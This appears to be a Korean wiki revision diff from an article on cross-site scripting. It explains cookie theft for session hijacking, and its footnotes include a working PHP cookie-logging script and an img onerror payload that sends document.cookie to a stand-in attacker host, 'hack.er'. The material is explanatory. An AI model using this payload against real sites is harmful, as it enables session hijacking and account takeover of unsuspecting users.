XSS (비교)

r6 ➤ r7
8해커의 홈페이지에 PHP 파일을 만들고,[* 예시에서는 Cookie.php라는 이름의 PHP 파일을 생성한다. 코드 - {{{<? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>}}}] 공격할 사이트에 스크립트를 심은 뒤,[* 예시에서는 hack.er라는 이름의 사이트를 기준으로 한다. 코드 - {{{<img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">}}}] 사용자가 스크립트가 심어진 페이지를 볼 경우, 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해진다.
9
10[[파일:XSS테스트.svg]]